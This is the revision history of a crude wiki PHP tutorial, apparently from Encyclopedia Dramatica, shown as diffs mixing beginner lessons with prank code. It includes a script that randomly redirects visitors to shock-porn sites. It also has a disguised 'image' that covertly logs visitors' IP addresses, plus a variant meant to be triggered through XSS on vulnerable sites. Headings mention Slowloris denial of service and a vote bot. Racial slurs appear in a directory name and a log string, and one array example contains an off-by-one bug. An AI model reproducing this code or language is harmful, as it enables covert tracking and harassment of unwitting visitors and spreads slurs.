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imported>Depwl9992: /* "Fun" with PHP */ Fixed!

2022-04-22T20:09:21Z

"Fun" with PHP: Fixed!

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	<?php		<?php
	switch (mt_rand(0,4)){		switch (mt_rand(0,4)){
	case 0: header("Location:~~http~~://~~images.~~encyclopediadramatica.~~com~~/images/d/db/Lemonparty.jpg");break;		case 0: header("Location:https://encyclopediadramatica.online/images/d/db/Lemonparty.jpg");break;
	case 1: header("Location:http://www.hai2u.com/HotBlowjob.jpg");break;		case 1: header("Location:http://www.hai2u.com/HotBlowjob.jpg");break;
	case 2: header("Location:~~http~~://~~images.~~encyclopediadramatica.~~com~~/images/5/5d/Hello.jpg");break;		case 2: header("Location:https://encyclopediadramatica.online/images/5/5d/Hello.jpg");break;
	case 3: header("Location:~~http~~://~~images.~~encyclopediadramatica.~~com~~/images/9/98/Tubgirl.jpg");break;		case 3: header("Location:https://encyclopediadramatica.online/images/9/98/Tubgirl.jpg");break;
	case 4: header("Location:http://www.meatspin.com/");break;		case 4: header("Location:http://www.meatspin.com/");break;
	}		}

imported>NeverEnoughLulz: /* Slowloris / eRiS */

2021-11-29T17:32:46Z

Slowloris / eRiS

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imported>NeverEnoughLulz: /* Twetterwall Auto Voter */

2021-11-29T17:28:58Z

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imported>NeverEnoughLulz: article revamp

2021-11-15T17:34:45Z

article revamp

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	==== PHP's Built in Functions ====		==== PHP's Built in Functions ====
	PHP has way too many ~~built in~~ functions for anyone to know what to do with. [http://www.php.net/manual/en/funcref.php ~~FUCKING~~ READ THIS BEFORE YOU GO FORWARD]		PHP has [[Over 9000\|way too many functions]] for anyone to know what to do with. [http://www.php.net/manual/en/funcref.php READ THIS BEFORE YOU GO FORWARD!]

	==== User Defined Functions ====		==== User Defined Functions ====
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	</syntaxhighlight>		</syntaxhighlight>
	</div>		</div>
	~~Wait, but e..~~ this tells me NOTHING! Not yet ~~it might~~. But just wait :)		"But this tells me NOTHING!" Not yet. But just wait :)

	===Sockets===		===Sockets===

imported>NeverEnoughLulz: updates

2021-11-15T17:32:45Z

updates

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	<pre>		<pre>
	<syntaxhighlight lang="php">		<syntaxhighlight lang="php">
	# First off, our array object we want to fetch stuff from.		<?php
			// First off, our array object we want to fetch stuff from.
			$a = array(
			"Dicks",
			"Game",
			"Massive Cocks"
			);

	$a ~~= array~~(~~"Dicks", "Game", "Massive Cocks"~~);		// Let's start with the simplest way to do this...
			echo $a[array_rand($a)];

	~~# Let's start with the simplest~~ way to do this...		// Obviously an easy way to do it.. But you can also do this...
			echo $a[rand(0, count($a))];

	echo $a[~~array_rand($a)~~];		// Or even...
			shuffle($a);
			echo $a[0];

	~~# Obviously an easy way to do it.. But you can also do this...~~		// OR EVEN!
			$c = 0; // a counter..
	~~echo $a[rand(0, count($a))];~~		foreach($a as $b) {
			$c++;
	~~# Or even...~~		}
			echo $a[rand(0,$c)];
	~~shuffle($a);~~		?>
	~~echo $a[0];~~

	# OR EVEN!

	$c = 0; # a counter..
	foreach($a as $b)
	$c++;
	echo $a[rand(0,$c)];
	</syntaxhighlight>		</syntaxhighlight>
	</pre>		</pre>

imported>NeverEnoughLulz: improved tutorial

2021-11-15T17:30:10Z

improved tutorial

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	==Tutorial==		==Tutorial==

	PHP is a server side language, meaning you can't see the source code in your browser, because all of the stuff is done on the server. To start, get some web hosting (easy) or start your own server (not as easy), and create a .php file. Having a decent knowledge of [[HTML]] is highly recommended. If you've programmed in another web language such as ASP, or have knowledge of application languages like [[C++]] or [[Java]], learning PHP will be considerably easier.		PHP is a server side language, meaning you can't see the source code in your browser (unless you're [[retarded]] enough to mix it with HTML and comment the HTML out), because all of the stuff is done on the server. To start, get some web hosting (easy) or start your own server (not as easy), and create a .php file. Having a decent knowledge of [[HTML]] is highly recommended. If you've programmed in another web language such as ASP, or have knowledge of application languages like [[C++]] or [[Java]], learning PHP will be considerably easier.

	=== HELLO WORLD ===		=== HELLO WORLD ===
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	<pre>		<pre>
	<?php		<?php
	echo ("LOL HAI THER AMIDOINITRITE?");		// This will output "LOL HAI THER AMIDOINITRITE?"
			echo ("LOL HAI THER AMIDOINITRITE?");
	?>		?>
	</pre>		</pre>
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	echo is a statement that basically prints out whatever is in the double quotes. It isn't a function. (printf() is though.)		echo is a statement that basically prints out whatever is in the double quotes. It isn't a function. (printf() is though.)
	All statements in PHP that aren't if/else statements, while, for, do-while, for-each loops, functions, or classes end in semicolons.		All statements in PHP that aren't if/else statements, while, for, do-while, for-each loops, functions, or classes end in semicolons.
			Any statement that begins with a "//" is a comment and won't be run by the system. You can use these to print funny shit, make stupid jokes, or [[LOL WUT\|actually help people understand what the fuck your code is supposed to do]].

	==== Hello World, Again (with [[HTML]]) ====		==== Hello World, Again (with [[HTML]]) ====
	We saw how echo can output text. But it can also output HTML code and JavaScript. Example here.		We saw how echo can output text. But it can also output HTML code and JavaScript. Example here.
	<pre>		<pre>
	<?php		<?php
			echo ("<b>LOL HAI THER</b> <i>AMIDOINITRITE?</i>");
	echo ("<b>LOL HAI THER</b> <i>AMIDOINITRITE?</i>");

	?>		?>
	</pre>		</pre>
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	<pre>		<pre>
	<?php		<?php
	$lolvar = 6;		$lolvar = 6;
	$loldecimal = 3.12;		$loldecimal = 3.12;
	$lolstring = "<b>This</b> is a string.";		$lolstring = "<b>This</b> is a string.";
	echo ($lolvar);		echo ($lolvar);
	echo ($loldecimal);		echo ($loldecimal);
	echo ($lolstring);		echo ($lolstring);
	?>		?>
	</pre>		</pre>
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	Some things to note:		Some things to note:

	When echoing a variable you don't need the double quotes		When echoing a variable you don't need the double quotes.
	You can also concatenate, or join together, two strings, like so:		You can also concatenate, or join together, two strings, like so:
	<pre>		<pre>
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	<= Less than or equal to		<= Less than or equal to
	>= Greater than or equal to		>= Greater than or equal to

	==== Conditional statements and loops ====		==== Conditional statements and loops ====
	Now you have a basic understanding of printing things, now it's time to start something else. We will explore loops and conditional statements. Loops will pretty much do something a certain amount of times and conditional statements control what the program does if a condition is fulfilled or not.		Now you have a basic understanding of printing things, now it's time to start something else. We will explore loops and conditional statements. Loops will pretty much do something a certain amount of times and conditional statements control what the program does if a condition is fulfilled or not.
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	''PROTIP: Make a directory on your server called niggerimage.png or any image name, then save the code as index.php in the directory.''		''PROTIP: Make a directory on your server called niggerimage.png or any image name, then save the code as index.php in the directory.''
	<syntaxhighlight lang="php">		<syntaxhighlight lang="php">
	<?~~PHP~~		<?php
	$the_image = "yourimagehere.jpg";		// replace "yourimagehere" with your chosen image name
	$ip_lister = fopen("ip.list", "a+");		$the_image = "yourimagehere.jpg";
	fwrite($ip_lister, $_SERVER['REMOTE_ADDR'] . " fell for it lol\n");		// will create an ip address logfile since there isn't one. don't worry about the ("a+") function for now
	fclose($ip_lister);		$ip_lister = fopen("ip.list", "a+");
	if (!strncasecmp(substr($the_image, strlen($the_image) - 4), ".jpg"))		// actually save the ip to the file with "[IP address] fell for it lol"
	$image_mime = "jpeg";		fwrite($ip_lister, $_SERVER['REMOTE_ADDR'] . " fell for it lol\n");
	else $image_mime = substr($the_image, (strrpos($the_image, '.') + 1));		// stop writing to file
	header("Content-Type: image/$image_mime");		fclose($ip_lister);
	echo file_get_contents($the_image);		if (!strncasecmp(substr($the_image, strlen($the_image) - 4), ".jpg")) {
			// set image type to JPG if it somehow didn't show up (what is this fuckery?)
			$image_mime = "jpeg";
			}
			else {
			// otherwise the image type is just the type of the image
			// this part will come in handy for actually outputting the image
			$image_mime = substr($the_image, (strrpos($the_image, '.') + 1));
			}
			// show the image
			header("Content-Type: image/$image_mime");
			echo file_get_contents($the_image);
	?></syntaxhighlight>		?></syntaxhighlight>

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	<syntaxhighlight lang="php">		<syntaxhighlight lang="php">
	<?PHP		<?PHP
	$the_image = "yourimagehere.jpg";		$the_image = "yourimagehere.jpg";
	$ip_lister = fopen("ip.list", "a+");		$ip_lister = fopen("ip.list", "a+");
	fwrite($ip_lister, $_GET['d0ngz'] . " nigger\n");		fwrite($ip_lister, $_GET['d0ngz'] . " nigger\n");
	fclose($ip_lister);		fclose($ip_lister);
	if (!strncasecmp(substr($the_image, strlen($the_image) - 4), ".jpg"))		if (!strncasecmp(substr($the_image, strlen($the_image) - 4), ".jpg"))
	$image_mime = "jpeg";		$image_mime = "jpeg";
	else $image_mime = substr($the_image, (strrpos($the_image, '.') + 1));		else $image_mime = substr($the_image, (strrpos($the_image, '.') + 1));
	header("Content-Type: image/$image_mime");		header("Content-Type: image/$image_mime");
	echo file_get_contents($the_image);		echo file_get_contents($the_image);
	?></syntaxhighlight>		?></syntaxhighlight>

	And in email or on a site they have admin on (that has an sanitation issue/XSS):		And in email or on a site they have admin on (that has an sanitation issue/XSS because they were too fucking lazy to fix it):
	<syntaxhighlight lang="javascript">		<syntaxhighlight lang="javascript">
	<script>		<script>

imported>Ld3105: per MediaWiki:Syntaxhighlight-enclose-category

2021-03-14T15:08:20Z

per MediaWiki:Syntaxhighlight-enclose-category

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imported>Ld3105: fixing

2021-03-14T14:59:07Z

fixing

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	==== If ====		==== If ====
	This essentially checks whether or not a condition is true.		This essentially checks whether or not a condition is true.
	<~~pre~~>		<source lang="php">
	<?php		<?php
	$willdo = true;		$willdo = true;
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	}		}
	?>		?>
	</~~pre~~>		</source>
	Else if statements allow for multiple conditions, if and only if the first condition before it was false.		Else if statements allow for multiple conditions, if and only if the first condition before it was false.
	<pre>		<pre>

imported>Uberfukken at 02:53, 12 March 2019

2019-03-12T02:53:12Z

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	{{programming}}		{{programming}}
			{{softwarez}}
	[[Category: Softwarez]]		[[Category: Softwarez]]
	[[Category:Tutorials]]		[[Category:Tutorials]]

imported>Oddguy at 12:53, 23 March 2015

2015-03-23T12:53:12Z

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